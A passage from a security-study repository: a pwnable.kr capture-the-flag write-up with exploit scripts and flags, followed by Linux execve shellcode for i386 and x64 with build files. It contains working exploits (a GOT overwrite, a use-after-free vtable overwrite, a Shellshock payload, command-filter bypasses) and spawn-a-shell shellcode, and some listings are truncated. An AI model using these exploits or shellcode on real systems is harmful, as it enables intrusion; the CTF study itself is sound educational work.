277 | The content of ex.py is:
278 |
279 | ```
280 | #!/usr/bin/env python
281 | import sys
282 | # 0x0804a018 is exit@GOT
283 | val=0x60*'A'+'\x18\xa0\x04\x08'
284 | print(val)
285 | sys.stdout.flush()
286 | # 134514135 is 0x80485d7
287 | # which is the address of the login ok logic
288 | print(134514135)
289 | sys.stdout.flush()
290 | # The second scanf should be failed
291 | print('XXX')
292 | ```
293 |
294 | Then we use `python /tmp/ex.py | ./passcode` to escape the login check function.
295 |
296 | -
297 | `Sorry mom.. I got confused about scanf usage :(`
298 |
299 | -
300 |
301 | ### random
302 |
303 | It is a vulnerability that using rand() without initialising the seed firstly.
304 |
305 | The vulnerable source code is:
306 |
307 | ```
308 | #include
309 |
310 | int main(){
311 | unsigned int random;
312 | random = rand(); // random value!
313 | printf("random: %d\n",random);
314 | unsigned int key=0;
315 | scanf("%d", &key);
316 |
317 | if( (key ^ random) == 0xdeadbeef ){
318 | printf("Good!\n");
319 | system("/bin/cat flag");
320 | return 0;
321 | }
322 |
323 | printf("Wrong, maybe you should try 2^32 cases.\n");
324 | return 0;
325 | }
326 |
327 | ```
328 |
329 | I found every time, the random value is 1804289383.
330 | The key will be 1804289383 xor 0xdeadbeef, which is
331 | 3039230856
332 |
333 | -
334 | `Mommy, I thought libc random is unpredictable...`
335 |
336 | -
337 |
338 | ### input
339 |
340 | This task is mainly to train the ability to communicate the testing server.
341 |
342 | Linux programming knowledges,such as `pipe` ,`fork`, `execve` and `socket`, are necessary.
343 |
344 | The source code is followed.
345 |
346 | ```
347 | #include
348 | #include
349 | #include
350 | #include
351 | #include
352 |
353 | int main(int argc, char* argv[], char* envp[]){
354 | printf("Welcome to pwnable.kr\n");
355 | printf("Let's see if you know how to give input to program\n");
356 | printf("Just give me correct inputs then you will get the flag :)\n");
357 |
358 | // argv
359 | if(argc != 100) return 0;
360 | if(strcmp(argv['A'],"\x00")) return 0;
361 | if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
362 | printf("Stage 1 clear!\n");
363 |
364 | // stdio
365 | char buf[4];
366 | read(0, buf, 4);
367 | if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
368 | read(2, buf, 4);
369 | if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
370 | printf("Stage 2 clear!\n");
371 |
372 | // env
373 | if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
374 | printf("Stage 3 clear!\n");
375 |
376 | // file
377 | FILE* fp = fopen("\x0a", "r");
378 | if(!fp) return 0;
379 | if( fread(buf, 4, 1, fp)!=1 ) return 0;
380 | if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
381 | fclose(fp);
382 | printf("Stage 4 clear!\n");
383 |
384 | // network
385 | int sd, cd;
386 | struct sockaddr_in saddr, caddr;
387 | sd = socket(AF_INET, SOCK_STREAM, 0);
388 | if(sd == -1){
389 | printf("socket error, tell admin\n");
390 | return 0;
391 | }
392 | saddr.sin_family = AF_INET;
393 | saddr.sin_addr.s_addr = INADDR_ANY;
394 | saddr.sin_port = htons( atoi(argv['C']) );
395 | if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
396 | printf("bind error, use another port\n");
397 | return 1;
398 | }
399 | listen(sd, 1);
400 | int c = sizeof(struct sockaddr_in);
401 | cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
402 | if(cd < 0){
403 | printf("accept error, tell admin\n");
404 | return 0;
405 | }
406 | if( recv(cd, buf, 4, 0) != 4 ) return 0;
407 | if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
408 | printf("Stage 5 clear!\n");
409 |
410 | // here's your flag
411 | system("/bin/cat flag");
412 | return 0;
413 | }
414 | ```
415 |
416 | The task answer source code exploit.c is followed.
417 |
418 | ```
419 | #include
420 | #include
421 | #include
422 | #include
423 | #include
424 | #include
425 | #include
426 | #include
427 | #include
428 | #include
429 | const int argv_len = 101;
430 | char* g_argv[101];
431 | int g_pipe0[2];
432 | char* fd0_text="\x00\x0a\x00\xff";
433 | int g_pipe2[2];
434 | char* fd2_text="\x00\x0a\x02\xff";
435 | char* g_envp[2];
436 | void stage0(){
437 | chdir("/tmp");
438 | int ret=symlink("/home/input/flag","/tmp/flag");
439 | if (-1==ret && errno==EEXIST){
440 | unlink("/tmp/flag");
441 | symlink("/home/input/flag","/tmp/flag");
442 | }
443 | }
444 | void stage1(){
445 | for (int i=0;i
520 | #include
521 |
522 | #define PW_LEN 10
523 | #define XORKEY 1
524 |
525 | void xor(char* s, int len){
526 | int i;
527 | for(i=0; i 0)){
546 | printf("read error\n");
547 | close(fd);
548 | return 0;
549 | }
550 |
551 | char pw_buf2[PW_LEN+1];
552 | printf("input password : ");
553 | scanf("%10s", pw_buf2);
554 |
555 | // xor your input
556 | xor(pw_buf2, 10);
557 |
558 | if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
559 | printf("Password OK\n");
560 | system("/bin/cat flag\n");
561 | }
562 | else{
563 | printf("Wrong Password\n");
564 | }
565 |
566 | close(fd);
567 | return 0;
568 | }
569 |
570 | ```
571 |
572 | The vulnerability exists in the line
573 |
574 | `fd=open("/home/mistake/password",O_RDONLY,0400) < 0`
575 |
576 | The variable `fd` will be 0, if open function calls successfully.
577 | The vulnerability results the buffer `pw_buf` is assigned by the input from user.
578 |
579 | The input works very well:
580 |
581 | ```
582 | AAAAAAAAAA
583 | @@@@@@@@@@
584 | ```
585 |
586 | The flag is:
587 |
588 | -
589 | `Mommy, the operator priority always confuses me :(`
590 |
591 | -
592 |
593 | ### shellshock
594 |
595 | The `shellshock` is a command injection vulnerability which could be conduct through manipulating environment variables in shell.
596 |
597 | I tried the command `env x='() { :;}; /bin/cat flag' ./shellshock `, then got the flag.
598 |
599 | -
600 | `only if I knew CVE-2014-6271 ten years ago..!!`
601 |
602 | -
603 |
604 | ### coin1
605 |
606 | The counterfeit coin will be tested through binary search.
607 | The answer python source code is followed.
608 |
609 | ```
610 | #!/usr/bin/env python
611 |
612 | import re
613 | import socket
614 | from sets import Set
615 |
616 | IP= "127.0.0.1"
617 | PORT = 9007
618 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
619 | sock.connect((IP,PORT))
620 | BUFF_SIZE=4096
621 | bala=sock.recv(BUFF_SIZE)
622 | print("recv: len:%d"%len(bala))
623 | while (True):
624 | line = sock.recv(BUFF_SIZE)
625 | line.rstrip()
626 | print ("recv: \n"+line)
627 | pack=re.findall('[0-9]+',line)
628 | N=0
629 | C=0
630 | if 2==len(pack):
631 | N=int(pack[0])
632 | C=int(pack[1])
633 | else:
634 | print("Game Over!")
635 | #print("N=%d, C=%d"%(N,C))
636 | coinList=range(N)
637 | pickNum = N/2
638 | roundCnt=0
639 | while (True):
640 | roundCnt+=1
641 | candidateList=[]
642 | send_text=""
643 | cand_len=0;
644 | for i in coinList:
645 | candidateList.append(i)
646 | cand_len+=1
647 | send_text+=(str(i)+" ")
648 | if cand_len>= pickNum:
649 | send_text.rstrip()
650 | send_text+="\n"
651 | sock.sendall(send_text)
652 | print("send: "+send_text)
653 | break;
654 | ret_text = sock.recv(BUFF_SIZE)
655 | print("recv: "+ret_text)
656 | if ret_text.startswith("Correct!"):
657 | print("Correct!")
658 | break
659 | if ret_text.startswith("Wrong"):
660 | coinList = list(Set(coinList)-Set(candidateList))
661 | else:
662 | ret_val = int(ret_text)
663 | if ret_val == cand_len*10: #all real
664 | coinList = list(Set(coinList)-Set(candidateList))
665 | else: # one of then is fake, others are real
666 | coinList = candidateList
667 | print("No. %d, coinList: %d"%(roundCnt,len(coinList)))
668 | if 1==len(coinList):
669 | fake_ind = coinList[0]
670 | while roundCnt<=C:
671 | roundCnt+=1
672 | sock.sendall(str(fake_ind)+"\n")
673 | print("send: "+str(coinList[0]))
674 | ret_text = sock.recv(BUFF_SIZE)
675 | print("No.%d recv: %s"%(roundCnt,ret_text))
676 | if ret_text.startswith("Correct!"):
677 | print("Correct!")
678 | break
679 | break
680 | pickNum=len(coinList)/2
681 | sock.close()
682 | ```
683 |
684 | The flag is:
685 |
686 | -
687 | `b1NaRy_S34rch1nG_1s_3asy_p3asy`
688 |
689 | -
690 |
691 | ### blackjack
692 | The vulnerability of the source code is about semantic check. the bet checking will be failed at the second times. And user can also input a negative number, then magic will happen when you lose a game. This vulnerability is found by my lovely wife.
693 |
694 | The source code is followed.
695 |
696 | ```
697 | int betting() //Asks user amount to bet
698 | {
699 | printf("\n\nEnter Bet: $");
700 | scanf("%d", &bet);
701 |
702 | if (bet > cash) //If player tries to bet more money than player has
703 | {
704 | printf("\nYou cannot bet more money than you have.");
705 | printf("\nEnter Bet: ");
706 | scanf("%d", &bet);
707 | return bet;
708 | }
709 | else return bet;
710 | } // End Function
711 | ```
712 |
713 | The flag is.
714 |
715 | -
716 | `YaY_I_AM_A_MILLIONARE_LOL`
717 |
718 | -
719 |
720 | ### lotto
721 | The vulnerability exists in the logic of the calculation of the lotto mark.
722 |
723 | ```
724 | // calculate lotto score
725 | int match = 0, j = 0;
726 | for(i=0; i<6; i++){
727 | for(j=0; j<6; j++){
728 | if(lotto[i] == submit[j]){
729 | match++;
730 | }
731 | }
732 | }
733 | ```
734 |
735 | It is high probable that a submit[j] is equal to any of the character of lotto[].
736 |
737 | This is my solution.
738 |
739 | ```
740 | #!/usr/bin/env python
741 | import sys
742 | for i in range(10):
743 | print(1)
744 | sys.stdout.flush()
745 | sys.stdout.write(' '*6+'\n')
746 | sys.stdout.flush()
747 | ```
748 |
749 | The flag is.
750 |
751 | -
752 | `sorry mom... I FORGOT to check duplicate numbers... :(`
753 |
754 | -
755 |
756 | ### cmd1
757 | The environment variables, such as PATH and HOME, can be overwritten by `/bin/env`.
758 |
759 | The vulnerable source code is attached.
760 |
761 | ```
762 | #include
763 | #include
764 |
765 | int filter(char* cmd){
766 | int r=0;
767 | r += strstr(cmd, "flag")!=0;
768 | r += strstr(cmd, "sh")!=0;
769 | r += strstr(cmd, "tmp")!=0;
770 | return r;
771 | }
772 | int main(int argc, char* argv[], char** envp){
773 | putenv("PATH=/fuckyouverymuch");
774 | if(filter(argv[1])) return 0;
775 | system( argv[1] );
776 | return 0;
777 | }
778 | ```
779 | Soft link can be used to bypass string filter.
780 |
781 | Following commands will print the content of the flag.
782 |
783 | ```
784 | cd /tmp
785 | ln -s /home/cmd1/flag x
786 | /home/cmd1/cmd1 '/usr/bin/env PATH=. /bin/cat x'
787 | ```
788 |
789 | -
790 | `mommy now I get what PATH environment is for :)`
791 |
792 | -
793 |
794 | ### cmd2
795 | The filter is stronger in this problem.
796 |
797 | ```
798 | #include
799 | #include
800 |
801 | int filter(char* cmd){
802 | int r=0;
803 | r += strstr(cmd, "/")!=0;
804 | r += strstr(cmd, "`")!=0;
805 | r += strstr(cmd, "flag")!=0;
806 | return r;
807 | }
808 |
809 | extern char** environ;
810 | void delete_env(){
811 | char** p;
812 | for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
813 | }
814 |
815 | int main(int argc, char* argv[], char** envp){
816 | delete_env();
817 | putenv("PATH=/no_command_execution_until_you_become_a_hacker");
818 | if(filter(argv[1])) return 0;
819 | printf("%s\n", argv[1]);
820 | system( argv[1] );
821 | return 0;
822 | }
823 |
824 | ```
825 |
826 | My solution is.
827 |
828 | ```
829 | cd /bin
830 | /home/cmd2/cmd2 ' PATH=. sh '
831 | cat /home/cmd2/flag
832 | ```
833 |
834 | The flag is.
835 |
836 | -
837 | `FuN_w1th_5h3ll_v4riabl3s_haha`
838 |
839 | -
840 |
841 | ### uaf
842 | The Use After Free (UAF) is a vulnerability that causes a program to crash, use unexpected value and even execution code.
843 |
844 | the vulnerable source code is followed.
845 |
846 | ```
847 | #include
848 | #include
849 | #include
850 | #include
851 | #include
852 | using namespace std;
853 |
854 | class Human{
855 | private:
856 | virtual void give_shell(){
857 | system("/bin/sh");
858 | }
859 | protected:
860 | int age;
861 | string name;
862 | public:
863 | virtual void introduce(){
864 | cout << "My name is " << name << endl;
865 | cout << "I am " << age << " years old" << endl;
866 | }
867 | };
868 |
869 | class Man: public Human{
870 | public:
871 | Man(string name, int age){
872 | this->name = name;
873 | this->age = age;
874 | }
875 | virtual void introduce(){
876 | Human::introduce();
877 | cout << "I am a nice guy!" << endl;
878 | }
879 | };
880 |
881 | class Woman: public Human{
882 | public:
883 | Woman(string name, int age){
884 | this->name = name;
885 | this->age = age;
886 | }
887 | virtual void introduce(){
888 | Human::introduce();
889 | cout << "I am a cute girl!" << endl;
890 | }
891 | };
892 |
893 | int main(int argc, char* argv[]){
894 | Human* m = new Man("Jack", 25);
895 | Human* w = new Woman("Jill", 21);
896 |
897 | size_t len;
898 | char* data;
899 | unsigned int op;
900 | while(1){
901 | cout << "1. use\n2. after\n3. free\n";
902 | cin >> op;
903 |
904 | switch(op){
905 | case 1:
906 | m->introduce();
907 | w->introduce();
908 | break;
909 | case 2:
910 | len = atoi(argv[1]);
911 | data = new char[len];
912 | read(open(argv[2], O_RDONLY), data, len);
913 | cout << "your data is allocated" << endl;
914 | break;
915 | case 3:
916 | delete m;
917 | delete w;
918 | break;
919 | default:
920 | break;
921 | }
922 | }
923 |
924 | return 0;
925 | }
926 | ```
927 |
928 | There are three stages in the UAF vulnerability exploit. The first one is to use. In this task, two objects is allocated by new operator. Then in Case 3, these two pointer is deleted, which means the memory allocated before are returned to the memory allocator. However, the value of pointers are not cleared. The piece of memory will be reallocated in Case 2, which means the content of memory is manipulated by user input. Finally, in Case 1 `m->introduce()` is a function call, the address of the function is in the Vtable of the object. If we can manipulate the content of the Vtable, we can lead the execution flow to the function `give_shell()`.
929 |
930 | Following gcc command will show the class structs.
931 |
932 | ```
933 | g++ -fdump-class-hierarchy uaf.cpp
934 | cat uaf.cpp.002t.class | c++filt
935 | ```
936 |
937 | The following python code is to construct the Vtable.
938 |
939 | ```
940 | #!/usr/bin/env python
941 |
942 | import sys
943 |
944 | val="\x68\x15\x40\x00\x00\x00\x00\x00"*3
945 | sys.stdout.write(val)
946 | sys.stdout.flush()
947 | ```
948 |
949 | The shell command is.
950 |
951 | ```
952 | python /tmp/ex.py > /tmp/x
953 | ./uaf 24 /tmp/x
954 | ```
955 |
956 | Then the input sequence is 3,2,2,2,2,2,1
957 |
958 | My gdb init script is followed.
959 |
960 | ```
961 | info file
962 | display/i $pc
963 | break main
964 | set follow-fork-mode child
965 | run 24 heap.dat < input.dat
966 | ```
967 |
968 | The flag is.
969 |
970 | -
971 | `yay_f1ag_aft3r_pwning`
972 |
973 | -
974 | ## Conclusion
975 | In conclusion, problems in this level is basic. We learned the communication skills and realised basic algorithm is necessary. Some problems also need creative thinking. Two typical vulnerabilities, which are shellshock(CVE-2014-6271) and user after free (CWE-416) deserve to be researched carefully.
976 | ## References
977 | 1. [rk700](http://rk700.github.io/tags.html#pwnable.kr-ref)
978 | 2. [CWE-416: Use After Free](https://cwe.mitre.org/data/definitions/416.html)
--------------------------------------------------------------------------------
/sec_media/README.md:
--------------------------------------------------------------------------------
1 | # The study report of security media and conference
2 |
3 | ## Introduction
4 |
5 | I will list several widely recognised security journals and conferences. And I will discuss them in popularity and ease of publish.
6 |
7 | ## Journals and Conferences
8 |
9 | ### ISC2
10 |
11 | 1. [Information Security Journal: A Global Perspective](https://www.isc2.org/isc2-journal.aspx)
12 | 2. [InfoSecurity Professional Magazine](https://www.isc2.org/infosecurity_professional/default.aspx)
13 | 3. [vulnerability central](https://vulnerability.isc2.org/)
14 |
15 | ### McAfee
16 |
17 | 1. [McAfee Labs Threats Report](http://www.mcafee.com/us/resources/reports/rp-quarterly-threats-may-2016.pdf)
18 |
19 | ### GIAC
20 |
21 | 1. [GIAC Gold](https://www.giac.org/certifications/gold)
22 |
23 | 2. [SANS Reading Room](https://www.sans.org/reading-room/)
24 |
25 | ### defcon, blackhat, RSA and infosec
26 |
27 | ### magazine
28 | http://www.infosecurity-magazine.com/
29 | http://www.scmagazine.com/
30 | http://www.cyberdefensemagazine.com/
31 | ### Coursera
32 |
33 | ### Academic resources
34 |
35 | 1. Background
36 | 2. Big 4 A Level conference: S&P,CCS, USENIX Security, NDSS.
37 | 3. Practical conference:RAID, TrustCom,International Conference on Malware an Unwanted software, DIMVA
38 |
39 |
40 |
--------------------------------------------------------------------------------
/shellcode/linux/execve/README.md:
--------------------------------------------------------------------------------
1 | # shell code for execve on Linux
2 |
3 | # i386
4 |
5 | ```asm
6 | ./shellcode.i386.elf: file format elf32-i386
7 |
8 |
9 | Disassembly of section .text:
10 |
11 | 08048060 <_start>:
12 | 8048060: 31 c0 xor %eax,%eax
13 | 8048062: 50 push %eax
14 | 8048063: 68 6e 2f 73 68 push $0x68732f6e
15 | 8048068: 68 2f 2f 62 69 push $0x69622f2f
16 | 804806d: 89 e3 mov %esp,%ebx
17 | 804806f: 50 push %eax
18 | 8048070: 53 push %ebx
19 | 8048071: 89 e1 mov %esp,%ecx
20 | 8048073: 89 c2 mov %eax,%edx
21 | 8048075: b0 0b mov $0xb,%al
22 | 8048077: cd 80 int $0x80
23 | ```
24 |
25 | ```python
26 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
27 | ```
28 |
29 | ```c
30 | unsigned char shellcode_i386_bin[] = {
31 | 0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62,
32 | 0x69, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x89, 0xc2, 0xb0, 0x0b, 0xcd,
33 | 0x80
34 | };
35 | unsigned int shellcode_i386_bin_len = 25;
36 | ```
37 |
38 | # x64
39 |
40 | ```asm
41 | ./shellcode.x64.elf: file format elf64-x86-64
42 |
43 |
44 | Disassembly of section .text:
45 |
46 | 0000000000400080 <_start>:
47 | 400080: 48 31 d2 xor %rdx,%rdx
48 | 400083: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
49 | 40008a: 2f 73 68
50 | 40008d: 48 c1 eb 08 shr $0x8,%rbx
51 | 400091: 53 push %rbx
52 | 400092: 54 push %rsp
53 | 400093: 5f pop %rdi
54 | 400094: 52 push %rdx
55 | 400095: 57 push %rdi
56 | 400096: 54 push %rsp
57 | 400097: 5e pop %rsi
58 | 400098: 52 push %rdx
59 | 400099: 58 pop %rax
60 | 40009a: b0 3b mov $0x3b,%al
61 | 40009c: 0f 05 syscall
62 | ```
63 |
64 | ```python
65 | SHELL_CODE="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x54\x5f\x52\x57\x54\x5e\x52\x58\xb0\x3b\x0f\x05"
66 | ```
67 |
68 | ```c
69 | unsigned char shellcode_x64_bin[] = {
70 | 0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
71 | 0x68, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x54, 0x5f, 0x52, 0x57, 0x54, 0x5e,
72 | 0x52, 0x58, 0xb0, 0x3b, 0x0f, 0x05
73 | };
74 | unsigned int shellcode_x64_bin_len = 30;
75 | ```
76 |
77 |
78 |
--------------------------------------------------------------------------------
/shellcode/linux/execve/c/Makefile:
--------------------------------------------------------------------------------
1 | OPT=-v -static -Os
2 | SRC=execve.c
3 | OUT=execve
4 | all: clean x64 i386
5 |
6 | x64:
7 | #It is unable to use gcc -S, since execve will not be linked yet.
8 | #gcc -S -masm=intel execve.c -o execve.x64.asm
9 | gcc $(OPT) -m64 $(SRC) -o $(OUT).x64.bin
10 | objdump -M intel -d $(OUT).x64.bin > $(OUT).x64.asm
11 | i386:
12 | gcc $(OPT) -m32 $(SRC) -o $(OUT).i386.bin
13 | objdump -M intel -d $(OUT).i386.bin > $(OUT).i386.asm
14 | clean:
15 | rm -rf *.bin *.asm
16 |
17 | .PHONY: clean x64 i386
--------------------------------------------------------------------------------
/shellcode/linux/execve/c/execve.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main(){
5 | char * target = "//bin/sh";
6 | char * para_list[2] = { target, NULL};
7 | int ret = execve(target, para_list, NULL);
8 | return ret;
9 | }
10 |
--------------------------------------------------------------------------------
/shellcode/linux/execve/i386/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | rm -rf *.bin *.o *.elf
3 | nasm -f elf32 shellcode.asm -o shellcode.i386.o
4 | ld -m elf_i386 shellcode.i386.o -o shellcode.i386.elf
5 | objcopy -j .text -O binary shellcode.i386.elf shellcode.i386.bin
6 | @echo "python:"
7 | @od -t x1 -An shellcode.i386.bin | tr -d '\n' | sed 's/ /\\x/g'
8 | @echo "\nc&c++:"
9 | xxd -i shellcode.i386.bin
--------------------------------------------------------------------------------
/shellcode/linux/execve/i386/shellcode.asm:
--------------------------------------------------------------------------------
1 | Section .text progbits alloc exec write
2 | global _start
3 | _start:
4 | xor eax, eax ; eax = 0
5 |
6 | push eax ; push NULL
7 | push 0x68732f6e
8 | push 0x69622f2f ; esp -> 2f 2f 62 69 6e 2f 73 68 00 00 00 00
9 | mov ebx, esp ; ebx = the pointer to cmd
10 | push eax ; push NULL
11 | push ebx
12 | mov ecx, esp ; ecx = the pointer to {cmd,NULL}
13 | mov edx, eax ; edx = the pointer to ENV( NULL )
14 | mov al, 0x0b ; eax = 0x0b
15 | int 0x80 ; sys call
--------------------------------------------------------------------------------
/shellcode/linux/execve/x64/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | rm -rf *.bin *.o *.elf
3 | nasm -f elf64 shellcode.asm -o shellcode.x64.o
4 | ld -m elf_x86_64 shellcode.x64.o -o shellcode.x64.elf
5 | objcopy -j .text -O binary shellcode.x64.elf shellcode.x64.bin
6 | @echo "python:"
7 | @od -t x1 -An shellcode.x64.bin | tr -d '\n' | sed 's/ /\\x/g'
8 | @echo "\nc&c++:"
9 | xxd -i shellcode.x64.bin
--------------------------------------------------------------------------------
/shellcode/linux/execve/x64/shellcode.asm:
--------------------------------------------------------------------------------
1 | ; Register allocation for x64 function calls
2 | ; function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9)
3 | ; ^system ^arg1 ^arg2 ^arg3 ^arg4 ^arg5 ^arg6
4 | ; call #
5 |
6 | Section .text progbits alloc exec write
7 | global _start
8 | _start:
9 | xor rdx, rdx ; rdx = 0
10 | mov qword rbx, '//bin/sh' ; align to 8 bytes, 0x68 73 2f 6e 69 62 2f 2f
11 | shr rbx, 0x08 ; 0x00 68 73 2f 6e 69 62 2f
12 | push rbx ; rsp -> 2f 62 69 6e 2f 73 68 00 "/bin/sh\0"
13 | ; mov rdi, rsp ; rdi = the pointer to cmd , but 3 bytes
14 | push rsp
15 | pop rdi ; only 2 bytes
16 | push rdx ; push NULL
17 | push rdi ; push the pointer to cmd
18 | ; mov rsi, rsp ; rsi = the pointer to {cmd,NULL}
19 | push rsp
20 | pop rsi ; only 2 bytes
21 | ; mov rax, rdx ; rax = 0
22 | push rdx
23 | pop rax ; only 2 bytes
24 | mov al, 0x3b ; syscall number
25 | syscall ; call
26 |
27 |
28 |
--------------------------------------------------------------------------------
/shellcode/linux/system/c/Makefile:
--------------------------------------------------------------------------------
1 | OPT=-v -static -Os
2 | SRC=system.c
3 | OUT=system
4 | all: clean x64 i386
5 |
6 | x64:
7 | #It is unable to use gcc -S, since execve will not be linked yet.
8 | #gcc -S -masm=intel execve.c -o execve.x64.asm
9 | gcc $(OPT) -m64 $(SRC) -o $(OUT).x64.bin
10 | objdump -M intel -d $(OUT).x64.bin > $(OUT).x64.asm
11 | i386:
12 | gcc $(OPT) -m32 $(SRC) -o $(OUT).i386.bin
13 | objdump -M intel -d $(OUT).i386.bin > $(OUT).i386.asm
14 | clean:
15 | rm -rf *.bin *.asm
16 |
17 | .PHONY: clean x64 i386
--------------------------------------------------------------------------------
/shellcode/linux/system/c/system.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main(){
4 | system("ls");
5 | return 0;
6 | }
--------------------------------------------------------------------------------